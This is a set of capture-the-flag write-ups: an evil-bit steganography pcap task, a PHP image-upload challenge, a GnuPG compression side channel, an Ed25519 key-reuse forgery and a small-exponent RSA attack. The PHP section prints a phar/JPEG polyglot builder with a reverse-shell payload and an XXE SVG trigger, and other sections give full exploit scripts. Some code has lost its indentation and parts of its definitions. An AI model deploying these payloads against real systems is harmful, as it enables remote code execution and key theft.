• Dr. evil was a stego task from the Midnightsun CTF 2019 qualifier

The task gave you a .pcap file and this hint

“We have managed to intercept communications from Dr. Evil’s base but it seems to be encrypted. Can you recover the secret message.”

tl;dr at the end


Finding the flag:

The .pcap contained one TCP/TLS connection and some DNS querys. The DNS querys/responses were all related to the TLS connection and the, in total 16 DNS packets, were easy to go through through manually.

The TLS connection was to (3c3db807.ngrok.io, 52.15.194.28) In the CTF this task had only the label “Network”. I didn’t know anything about ngrok.io, so I checked the website and did a bit googling. It turned out, that ngrok.io is some “I can’t do portforwarding on my router” service and 3c3db807 from 3c3db807.ngrok.io seemed to be the name you have to use at ngrok.

The certificate used for the connection was the one from ngrok. As this was not a crypto task and ngrok was not some fake service just for the ctf I thought that the TLS connection itself was secure.

The Addresses which were found in the .pcap all belong to either some local Network, or AWS (which is used by ngrok). I then checked out the 3c3db807.ngrok.io service on 4 and 6, but it just showed the default ngrok offline/notfound message on port 80/443. “Tunnel kdlsjfs.ngrok.io not found” on ipv6 the portscan showed an open ssh port, but this was also from ngrok, so unrelated to the challenge.

As a last try I checked google and archive.org for 3c3db807.ngrok.io, but this was also without a result

At this point I did not know what else to look for, so I randomly scrolled through wireshark. After a while I thought to notice that the packet sizes were unusual, so I used scapy to print out all the packetsizes as I hoped to find a pattern, which was also without a result.

When playing around with scapy I noticed something

###[ IP ]###
version   = 4
ihl       = 5
tos       = 0x0
len       = 40
id        = 12160
flags     = evil <-------------------------
frag      = 0
ttl       = 64
proto     = tcp
chksum    = 0x4916
src       = 52.15.194.28
dst       = 10.0.2.15
\options   \
###[ TCP ]###
sport     = https
dport     = 56030
seq       = 932416002
ack       = 2065585685
dataofs   = 5
reserved  = 0
flags     = A
window    = 65535
chksum    = 0x3e37
urgptr    = 0
options   = []


flags = evil

evil like the name of the task.

when listing all the evil flags from all packets from the host “52.15.194.28” as 1/0 it gives this pattern:

0100110001100001011001000110100101100101011100110010000001100001011011100110010000100000011001110110010101101110011101000110110001100101011011010110010101101110001011000010000001110111011001010110110001100011011011110110110101100101001000000111010001101111001000000110110101111001001000000111010101101110011001000110010101110010011001110111001001101111011101010110111001100100001000000110110001100001011010010111001000101110001000000100100100100000011010000110000101110110011001010010000001100111011000010111010001101000011001010111001001100101011001000010000001101000011001010111001001100101001000000110001001100101011001100110111101110010011001010010000001101101011001010010000001110100011010000110010100100000011101110110111101110010011011000110010000100111011100110010000001100100011001010110000101100100011011000110100101100101011100110111010000100000011000010111001101110011011000010111001101110011011010010110111001110011001011100010000001000001011011100110010000100000011110010110010101110100001011000010000001100101011000010110001101101000001000000110111101100110001000000111100101101111011101010010000001101000011000010111001100100000011001100110000101101001011011000110010101100100001000000111010001101111001000000110101101101001011011000110110000100000010000010111010101110011011101000110100101101110001000000101000001101111011101110110010101110010011100110010000001100001011011100110010000100000011100110111010101100010011011010110100101110100001000000111010001101000011001010010000001100110011011000110000101100111001000000010001001101101011010010110010001101110011010010110011101101000011101000111101100110001010111110100110101101001011011000110110001101001001100000110111001011111011001010111011001101001011011000101111101100010001100010111010001111010001000010111110100100010001011100010000001010100011010000110000101110100001000000110110101100001011010110110010101110011001000000110110101100101001000000110000101101110011001110111001001111001001011100010000001000001011011100110010000100000011101110110100001100101011011100010000001000100011100100010111000100000010001010111011001101001011011000010000001100111011001010111010001110011001000000110000101101110011001110111001001111001001011000010000001001101011100100010111000100000010000100110100101100111011001110110110001100101011100110111011101101111011100100111010001101000001000000110011101100101011101000111001100100000011101010111000001110011011001010111010000101110001000000100000101101110011001000010000001110111011010000110010101101110001000000100110101110010001011100010000001000010011010010110011101100111011011000110010101110011011101110110111101110010011101000110100000100000011001110110010101110100011100110010000001110101011100000111001101100101011101000010110000100000011100000110010101101111011100000110110001100101001000000100010001001001010001010010000100100001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000


converting to ascii: Ladies and gentlemen, welcome to my underground lair. I have gathered here before me the world’s deadliest assassins. And yet, each of you has failed to kill Austin Powers and submit the flag “midnight{1_Milli0n_evil_b1tz!}”. That makes me angry. And when Dr. Evil gets angry, Mr. Bigglesworth gets upset. And when Mr. Bigglesworth gets upset, people DIE!!

midnight{1_Milli0n_evil_b1tz!}

TLDR: The flag is in hidden in the “evil” bit of the Ipv4 header https://www.ietf.org/rfc/rfc3514.txt https://en.wikipedia.org/wiki/Evil_bit

Ladies and gentlemen, welcome to my underground lair. I have gathered here before me the world’s deadliest assassins. And yet, each of you has failed to kill Austin Powers and submit the flag “midnight{1_Milli0n_evil_b1tz!}”. That makes me angry. And when Dr. Evil gets angry, Mr. Bigglesworth gets upset. And when Mr. Bigglesworth gets upset, people DIE!!

from scapy.all import *

currentChar = 0
count = 7
global currentChar
global count
if packet[IP].src == "52.15.194.28":
if packet[IP].flags:
currentChar += 2**count
count = count-1
if count < 0:
count = 7
print(chr(currentChar), end="")
currentChar = 0

print()

• This task provided a file upload for images. After looking at the robots.txt we saw that a file “source.zip” exists in which the source code of the app is stored.

The upload functionality is implemented as:

<?php
session_start();

function calcImageSize($file,$mime_type) {
if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
$stats = getimagesize($file);  // Doesn't work for svg...
$width =$stats[0];
$height =$stats[1];
} else {
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$svg = simplexml_import_dom($dom);$attrs = $svg->attributes();$width = (int) $attrs->width;$height = (int) $attrs->height; } return [$width, $height]; } class Image { function __construct($tmp_name)
{
$allowed_formats = [ "image/png" => "png", "image/jpeg" => "jpg", "image/svg+xml" => "svg" ];$this->tmp_name = $tmp_name;$this->mime_type = mime_content_type($tmp_name); if (!array_key_exists($this->mime_type, $allowed_formats)) { // I'd rather 500 with pride than 200 without security die("Invalid Image Format!"); }$size = calcImageSize($tmp_name,$this->mime_type);
if ($size[0] *$size[1] > 1337 * 1337) {
die("Image too big!");
}

$this->extension = "." .$allowed_formats[$this->mime_type];$this->file_name = sha1(random_bytes(20));
$this->folder =$file_path = "images/" . session_id() . "/";
}

function create_thumb() {
$file_path =$this->folder . $this->file_name .$this->extension;
$thumb_path =$this->folder . $this->file_name . "_thumb.jpg"; system('convert ' .$file_path . " -resize 200x200! " . $thumb_path); } function __destruct() { if (!file_exists($this->folder)){
mkdir($this->folder); }$file_dst = $this->folder .$this->file_name . $this->extension; move_uploaded_file($this->tmp_name, $file_dst);$this->create_thumb();
}
}

new Image($_FILES['image']['tmp_name']); header('Location: index.php');  The first issue we discovered was that the deserialization of an svg image allows external entities. So we tried to upload an svg image with an external entity which uses an expect statment. This should execute the command provided in it on the server. The problem is that php needs a specific module to interpret the expect statement, which was not installed. Also interesting is that ‘system’ is directly called to convert the images. Unfortunately we have no control over the parameter. After hours of search we found out that we can ‘disguise’ a phar archive as an jpeg image, which we now can upload to the server. The important part comes now. We are able to provide a serialized object in the metadata of the phar archive and we have full control over the attributes of this object. When the object gets deserialized it will get instantly destroyed by the garbage collector and so the ‘__destruct()’ method gets called. Therefore we can set the ‘$folder’ attribute of the Image object to run abitrary commands on the host system.

To activate the phar archive we can use the stream wrapper ‘phar://’ which we can provide as an external entity of an svg image.

This is our script to create the phar archive:

<?php

$jpeg_header_size = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13". "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02". "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15". "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14". "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01". "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03". "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20". "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda". "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";$phar = new Phar("exploit.phar");
$phar['exp.php'] = '<?php system(\'php -r \\\'$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");\\\'\');?>';
$phar->startBuffering();$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); class Image {}$o = new Image();
$o->folder = " | php -r '\$sock=fsockopen(\"<ip of server>\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");' | ";
$phar->setMetadata($o);
$phar->stopBuffering();  The code of the ‘exp.php’ file inside this archive will not get executed and is just an artifact of one of our attempts. But there has to be one php file inside the phar archive which we can access via the stream wrapper. Let’s see what ‘file’ has to say about the archive. $ php pack.php
$file exploit.phar exploit.phar: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3  The archive is in fact recognized as a jpeg image. Now we crafted an svg image with external entities which should trigger the phar archive. <?xml version="1.0" standalone="yes"?> <!DOCTYPE convert [ <!ENTITY % payl SYSTEM "phar://images/cb8v42f3sfisnad6piq9sl23u7/f79556d9bf3197276c38c26bdbaba9511103ac93.jpg/exp.php">%payl;]> <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40"></text></svg>  The path used in the svg image can be found in the gallery. After uploading this svg image the reverse shell got initiated and we could get the flag flag{R3lying_0n_PHP_4lw45_W0rKs} • In this task we’re given an IP, a port and the source code of the service. The service offers a JSON based API: from flask import Flask,request,abort import gnupg import time app = Flask(__name__) gpg = gnupg.GPG(gnupghome="/tmp/gpg") couponCodes = { "water": "WATER_2019", "beer" : "" # REDACTED } @app.route("/generateEncryptedVoucher", methods=['POST']) def generateEncryptedVoucher(): content = request.json (recipientName,drink) = (content['recipientName'],content['drink']) encryptedVoucher = str(gpg.encrypt( "%s||%s" % (recipientName,couponCodes[drink]), recipients = None, symmetric = True, passphrase = couponCodes[drink] )).replace("PGP MESSAGE","DRINK VOUCHER") return encryptedVoucher @app.route("/redeemEncryptedVoucher", methods=['POST']) def redeemEncryptedVoucher(): content = request.json (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase']) # Reluctantly go to the fridge... time.sleep(15) decryptedVoucher = str(gpg.decrypt( encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"), passphrase = passphrase )) (recipientName,couponCode) = decryptedVoucher.split("||") if couponCode == couponCodes["water"]: return "Here is some fresh water for %s\n" % recipientName elif couponCode == couponCodes["beer"]: return "Congrats %s! The flag is INS{ %s}\n" % (recipientName, couponCode) else: abort(500) if __name__ == "__main__": app.run(host='0.0.0.0')  This service encrypts a user generated string concatinated with || and the encryption key. The goal here was to find the de-/encryption key of the beer voucher. The code is using a wrapper for the GnuPGP library. The corresponding RFC says, PGP is using a block cipher in CFB mode. Since we didn’t see how we could directly attack this service, we were buffeled for a bit. We decided to find out the length of the encryption key, since it might be to short. To do so, we send the service receipientNames with an increasing amount of As. To our surprise, the ciphertext size didn’t increase per character. This means, OpenPGP uses compression before encrypting the data! This opens the door for a compression side channel! Since we control what comes before the encryption key, we can try out different characters. Everytime we get a shorter ciphertext, we know another character of the key, since our receipientName got compressed together with the key. Because the compression starts at a size of three bytes, we can start our search with ||A. This would result in the text ||A||$SECRET_KEY, which should be compressed (and therefore shorter) if the $SECRET_KEY starts with an A. The exploit script (see below) first determines a maximum ciphertext length by sending a non-compressible 40 byte string to the service. Then it tries out new characters by appending them to the known key string (in the beginning ||) and filling the remaining 40 bytes with non compressible data. Everytime a ciphertext shorter than the previous one is received, we know another byte of the key! The exploit script is not optimal (CTF code quality…), since it doesn’t necessarily find the patterns in correct order. Running it the first time gave us the key G1M_V3RY_TH1RSTY, which seems wierd and also didn’t work for decryption. Forbidding the first underline, it would give us the key G1MME_B33RY_TH1RSTY, which also doesn’t make sense. This is because the key contains repeating patterns (e.g. B33RY compresses, just as B33R_ because of the word V3RY). To fix this we’d need a more sophisticated approach, storing all candidate characters… But it was 3 a.m. and we were tired. So we just fixed the prefix to ||G1MME_B33R_ which seemed reasonable. This worked and gave us: p3 explcry.py [...] ||G1MME_B33R_PLZ_1M_S0_V3RY_TH1RSTY  Which is the flag. Full Exploit Script: import os import random import base64 import requests import string SEARCHSP = list("_" + string.printable[:-6]) PAD = string.ascii_lowercase + "!§$%&()=?-:;#'+*<>|"

MAX_LEN = 40

if c in SEARCHSP:
SEARCHSP.remove(c)

def convert_to_hex(p):
return base64.b64decode("".join(p.split("\n")[2:-3])).hex()

def get_enc(recipient, drink):
r=requests.post('http://localhost:5000/generateEncryptedVoucher',json={'recipientName': recipient, 'drink': drink})
return r.text

def get_uncompressed_len(PREFIX):
while True:
l_high_ent = []
for i in range(20):
l_high_ent.append(convert_to_hex(get_enc(PREFIX + gen_pad(MAX_LEN - len(PREFIX)), "beer")))

len_ct = len(l_high_ent[0])
for p in l_high_ent:
if len(p) != len_ct:
break
else:
break
return len_ct

KNOWN = "||G1MME_B33R_"
len_ct = get_uncompressed_len(KNOWN)
print("Ciphertext len without compression: ", len_ct)

num = 0
for _ in range(26):
for c in string.ascii_uppercase + "_0123456789":
pw = KNOWN + c + PAD[:MAX_LEN - len(KNOWN) - 1]
test = convert_to_hex(get_enc(pw, "beer"))
num += 1
if len(test) < len_ct:
len_ct = len(test)
print(len(test))
KNOWN += c
print(KNOWN)
break
print(KNOWN)

• This challenge came with c code and this description:

The crypto_sign function is designed to meet the standard notion of unforgeability for a public-key signature scheme under chosen-message attacks.


The code implements a service that creates 8 random key pairs for ed25519, it then lets you sign up to 1000 arbitrary messages. The keys used for signing can be chosen by us, by supplying the respective public key. The output looked like this:

 ./hxpcry                     [0]
Welcome to the Ed25519 existential forgery game!  Enjoy and good luck.
public key: 0609355a5505f116b6232dfc4aaedf99fef2c03376dc05f782e2b5f26454b353
public key: d24d6a7e6da062de8b0bf8b9f0efcb7617c6d6c44027af1d1e052359a80bf36d
public key: 7cf253c5667ea674ec4675a49731b3c58ee72e633212d8df05a44f9f2160bf63
public key: 3afe84a3480cae670d27363966929dd6d879981116b20600c50494378d84acb6
public key: 9c806c7bd9a890c43b2b89dc9ebe091888345ed958ef5f2fa60b42e8feb9fa98
public key: 909ec9496a787af72e444d314eb1c4910950ca7b757240a017149d7872bd6d55
public key: 816f1e428660418f942fec895e6fb75fc3db41c650578e636593e0c800064c6d
public key: d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592

public key> d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592
length>     1
message>    aa
public key>
[...]
forgery>    FORGED_SIGNATURE


If we manage to supply a valid signature for any of the given public keys and an arbitrary message (that we haven’t submitted to the service) the flag will be printed.

## C and strings

As it can be seen by the includes, the library uses djb’s tweetnacl library. Knowing that this library probably has no direct vulnerability, we looked at the provided C file. In C it is extermely easy to screw up string handling or buffer sizes. Since the authors layed some false trails, it took us a bit to find the actually pretty obvious bug.

The code reads in the provided public key:

printf("public key> "); fflush(stdout);
if (sizeof(pk) != read_hex(pk, sizeof(pk)) || K == (idx = find(pk)))
break;


and checks if the given public key is in the list of public keys via the find function. If the public key is in the list, it then uses the user supplied public key within the signing function (along with its private key).

printf("signed:     ");
print_hex(m, sign(m, n, keys[idx].sk, pk));
printf("\n");


The find function looks like this:

unsigned find(unsigned char const *pk)
{
unsigned idx;
for (idx = 0; idx < K; ++idx)
if (!strncmp(pk, keys[idx].pk, 32))
break;
return idx;
}


It uses strncmp to compare the user supplied public key to the one stored in its internal list.

Since strncmp only compares until the first null byte (the string terminator in C), we could wait until the service gives us a public key that contains a null byte.

From that null byte on, we could submit different bytes for the public key and it would still be used during signing.

So if we get an output like this:

Welcome to the Ed25519 existential forgery game!  Enjoy and good luck.
[...]
[...]
public key>


We could submit the correct public key 22bfe776234f54e70fead863c49b13ece4ed218e00e201426618e1af551216c6, but we could also submit 22bfe776234f54e70fead863c49b13ece4ed218e00aaaaaaaaaaaaaaaaaaaaaa. The service would use both public keys with the same private key to sign our messages.

But why does this matter?

## ed25519

The services signs our messages using the libraries ed25519 implementation. Ed25519 is a edDSA scheme, so basically a Schnorr signature on a twisted elliptic edwards curve.

An edDSA signature consists of two parts $(R, S)$, where R is a curve point and S a scalar. R is calculated as $R = rB$, with r beeing essentially a random value (it’s not actually random, it’s deterministic, but it serves as a random value) $r = H(H_{b,\dots,2b - 1}(k), M)$. B is the defined base point, H a one way hash function and k is the private key. Check out the linked Wikipedia article for the exact parameters of ed25519.

The S of the signature is calculated as follows:

$S \equiv r + H(R, A, M) s \pmod \ell.$

The secret r is added to the hash of R, the public key A, and the message multiplied by the secret s (derived from the private key).

So if we manage to sign the same message two times, using the same private key, but two different public keys we would get the following equations:

$S_1 \equiv r_1 + H(R_1, A_1, M) s \pmod \ell.$

and

$S_2 \equiv r_2 + H(R_2, A_2, M) s \pmod \ell.$

For these two equations, we have all the variables, except for the secret key s. Given this secret key s, we could just sign messages our selves.

The secret s can easily be calculated:

$s = \frac{S_1 - S_2}{H(R_1, A_1, M) - H(R_2, A_2, M)}$

Note that this calculation is done modulo, so it actually reads like this:

$s \equiv (S_1 - S_2) \cdot (H(R_1, A_1, M) - H(R_2, A_2, M))^{-1} \mod \ell.$

## Putting it together

So the exploit works as follows:

1. Connect to the service until it gives us a public key containing a null byte
2. Use this public key to create a wrong public key (differs after the null byte)
3. Request two signatures for the same message using the differnt public keys
4. Calculate the secret s
5. Sign a message of our choice and submit it
6. Enjoy the flag

The final exploit can be found here. It uses the pure25519 python lib by Brian Warner.

Running the exploit gives us:

[+] Opening connection to 159.69.218.92 on port 25519: Done
('Found weak key', '\x14\xec5\xb3\x04]\x05\x12Ss\xaf\xdb\xbaj\xf6\x00\xf2\xa5QV\xd4~\x9a\xe9\x1f\x0b\x90\x88\xd2\xd7*+')
('Signature: ', 'cfa1a0255fb0cdab6c8183a68674e7755f2d04f0990fc67e5cbd4bea9e6661df81da90f1ef2ee990f8c6ff4f970d7955b595691a0e6d135a4a1ab7c964f63c03')

hxp{Th3_m0sT_f00lpr00f_sYsT3m_br34kz_1f_y0u_4bU5e_1t_h4rD_eN0u9h}
[*] Closed connection to 159.69.218.92 port 25519


\o/

• Daring was a pretty straight forward entry level task of this years hxp CTF.

We’re giving this python script:

#!/usr/bin/env python3
import os
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util import Counter
from Crypto.PublicKey import RSA

key = RSA.generate(1024, e=3)
open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n')
open('rsa.enc', 'wb').write(pow(int.from_bytes(flag.ljust(128, b'\0'), 'big'), key.e, key.n).to_bytes(128, 'big'))

key = SHA256.new(key.exportKey('DER')).digest()
open('aes.enc', 'wb').write(AES.new(key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(flag))


as well as the public key and the encrypted files rsa.enc and aes.enc.

Since AES is used in counter mode, we know that the flag is 43 bytes long.

Looking at the RSA encryption we see two things:

• Small exponent (3)
• The flag is padded with trailing null bytes

Since we know the size of the flag, we can just multiply the cipher text with the encryption of the multiplicative inverse of the padding (0x100000000…).

The result would be (with m=flag and p=padding):

$(m \cdot p)^3 \cdot (p^{-1})^3 \equiv m^3 \mod N$

For a small m, we should be able to simply compute the third root of the resulting ciphertext. Since m is small we don’t need to worry about the modulus N.

Unfortunately its not quite that simple, because the flag is one byte too long for this to work.

There are multiple ways to still make this work.

I decided to just cancel out some factor of the number that represents the flag. To do this, I just ran a loop multiplying the cipher text with the inverse of this factor, taking the cube root, then multiply by this factor.

Once we hit a factor x of the flag, we get the number z:

$z \equiv (m \cdot x^{-1})^3 \mod N$

This number should be short enough for us to be able to take the cube root, then multiply it by the factor x:

$m = x \cdot \sqrt[3]{(m \cdot x^{-1})^3}$

The exploit looks like this:

from Crypto.PublicKey import RSA
import gmpy2

flag_len = 43

for factor_candidate in range(10000):
r = gmpy2.invert(2**((128 - flag_len)*8), pubkey.n)
try:
fac_r =  gmpy2.invert(factor_candidate, pubkey.n)
except Exception:
continue
enc_r = pow(r, pubkey.e, pubkey.n)
enc_fac = pow(fac_r, pubkey.e, pubkey.n)

new_enc = (rsa_enc * enc_r * enc_fac) % pubkey.n
root, succ = gmpy2.iroot(new_enc, pubkey.e)
res = int.to_bytes(int(root) * factor_candidate, 100, "big")

if b"hxp" in res:
print("factor {}: {}".format(factor_candidate, res[-43:]))
break


And gives us:

factor 83: b'hxp{DARINGPADS_1s_4n_4n4gr4m_0f_RSAPADDING}'


\o/